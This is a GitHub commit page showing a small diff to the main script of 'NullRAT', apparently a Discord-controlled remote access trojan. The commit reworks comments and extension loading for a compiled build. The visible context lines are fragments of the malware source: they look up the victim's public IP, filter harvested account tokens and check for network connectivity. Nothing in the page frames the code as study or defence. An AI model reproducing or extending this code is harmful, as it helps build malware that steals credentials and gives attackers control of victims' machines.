Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit ca278f0

Browse files
authored
Add compiler extension loader & better comments
1 parent 33ef40a commit ca278f0

1 file changed

Lines changed: 8 additions & 5 deletions

File tree

NullRAT/RAT.py

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,8 @@
88
from socket import create_connection
99
import os, re, aiohttp, requests, random
1010

11-
###################################################################
11+
############### Global functions available in every cog
12+
1213
def IP():
1314
try: return requests.get("http://icanhazip.com/").text.rstrip()
1415
except: return "127.0.0.1"
@@ -68,7 +69,8 @@ def englishOnly(s):
6869
for t in tokens:
6970
if englishOnly(t): goodTKs.append(t)
7071
return goodTKs
71-
###################################################################
72+
73+
############### Custom bot implementation for functions
7274

7375
original_dir = os.getcwd()
7476

@@ -92,7 +94,7 @@ def __init__(self, **options):
9294
if os.path.isdir(nr_working) != True:
9395
os.mkdir(nr_working)
9496

95-
###################################################################
97+
############### Function for on_ready
9698

9799
@client.event
98100
async def on_ready():
@@ -184,8 +186,9 @@ async def second_button_callback(self, button, interaction):
184186
)
185187

186188
for ex in extensions:
187-
client.load_extension("modules."+ex)
188-
189+
#client.load_extension("modules."+ex) // For testing without compiler
190+
client.load_extension(ex) # For compiler
191+
189192
############### Bot Startup
190193
def is_connected():
191194
try: create_connection(("1.1.1.1", 53)); return True

0 commit comments

Comments
 (0)